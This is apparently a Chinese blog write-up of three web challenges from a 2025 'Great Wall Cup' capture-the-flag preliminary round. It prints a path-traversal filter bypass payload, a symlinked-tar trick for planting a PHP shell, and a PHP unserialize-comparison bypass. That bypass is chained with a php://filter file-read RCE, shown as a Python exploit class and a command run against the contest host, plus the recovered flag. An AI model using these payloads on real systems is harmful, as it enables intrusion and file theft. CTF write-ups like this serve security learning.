第五届“长城杯”初赛 2025 Web Writeup

第五届“长城杯”初赛 2025 Web Writeup,打的时候还以为是铁人三项,被篇了,还只有 Web、AI、数据安全三个方向

文曲签学

长按 Fn 激活调试模式

read 能读取文件,文件名区分大小写,../被过滤

#read ..././..././..././..././flag

EZ_upload

源码

<?php
highlight_file(__FILE__);

function handleFileUpload($file)
{
    $uploadDirectory = '/tmp/';

    if ($file['error'] !== UPLOAD_ERR_OK) {
        echo '文件上传失败。';
        return;
    }

    $filename = basename($file['name']);
    $filename = preg_replace('/[^a-zA-Z0-9_\-\.]/', '_', $filename);

    if (empty($filename)) {
        echo '文件名不符合要求。';
        return;
    }

    $destination = $uploadDirectory . $filename;
    if (move_uploaded_file($file['tmp_name'], $destination)) {
        exec('cd /tmp && tar -xvf ' . $filename.'&&pwd');
        echo $destination;
    } else {
        echo '文件移动失败。';
    }
}

handleFileUpload($_FILES['file']);
?>

软链接

tar -cvf 1.tar link
tar -cvf 2.tar link/shell.php

SeRce

源码

<?php
highlight_file(__FILE__);
$exp = $_GET["exp"];
if(isset($exp)){
    if(serialize(unserialize($exp)) != $exp){
        $data = file_get_contents($_POST['filetoread']);
        echo "File Contents: $data";
    }
}

要一个字符串反序列化后和序列化必须不同,在调试的时候发现URL编码后的序列化字符串在反序列化时会被错误的解析,但反序列化仍然通过,这导致了绕过

<?php
$exp = 'O:7:"Exploit":1:{s:4:"flag";N;}';
echo $exp."\n";
echo (serialize(unserialize($exp)))."\n";
if (isset($exp)) {
    if (serialize(unserialize($exp)) != $exp) {
        echo "File Contents1";
    }
}
$exp = urlencode($exp);
echo $exp."\n";
echo (serialize(unserialize($exp)))."\n";
echo urlencode(serialize(unserialize($exp)))."\n";
if (isset($exp)) {
    if (serialize(unserialize($exp)) != $exp) {
        echo "File Contents2";
    }
}
输出:
O:7:"Exploit":1:{s:4:"flag";N;}
O:7:"Exploit":1:{s:4:"flag";N;}
O%3A7%3A%22Exploit%22%3A1%3A%7Bs%3A4%3A%22flag%22%3BN%3B%7D
b:0;
b%3A0%3B
File Contents2


file_get_content($_POST['']),对文件读取的内容没有做任何过滤,在 PHP 中存在这样一个漏洞 RCE,它在非常多的位置都可能存在,详细参考 https://xz.aliyun.com/news/14986

修改 Remote 类

class Remote:
    def __init__(self, url: str) -> None:
        self.url = url
        self.session = Session()

    def send(self, path: str) -> Response:
        """Sends given `path` to the HTTP server. Returns the response.
        """
        exp="%4f%25%33%41%37%25%33%41%25%32%32%45%78%70%6c%6f%69%74%25%32%32%25%33%41%31%25%33%41%25%37%42%73%25%33%41%34%25%33%41%25%32%32%66%6c%61%67%25%32%32%25%33%42%4e%25%33%42%25%37%44"
        url = f"{self.url}?exp={exp}"
        return self.session.post(url, data={"filetoread": path})
        
    def download(self, path: str) -> bytes:
        """Returns the contents of a remote file.
        """
        path = f"php://filter/convert.base64-encode/resource={path}"
        response = self.send(path)
        data = response.re.search(b"File Contents:(.*)", flags=re.S).group(1)
        return base64.decode(data)

经测试不能反弹 Shell,var下没有写入权限,改为写 /tmp 下再用伪协议读取

readflag 具备执行权限

python3 exp.py https://eci-2ze33airnmksp3l29jhw.cloudeci1.ichunqiu.com:80/ "/readflag > /tmp/1"

再用伪协议读即可

flag{b548ac91-611f-4937-9a15-726350a2a5b9}
posted @ 2025-09-14 17:41  L1nq  阅读(421)  评论(0)    收藏  举报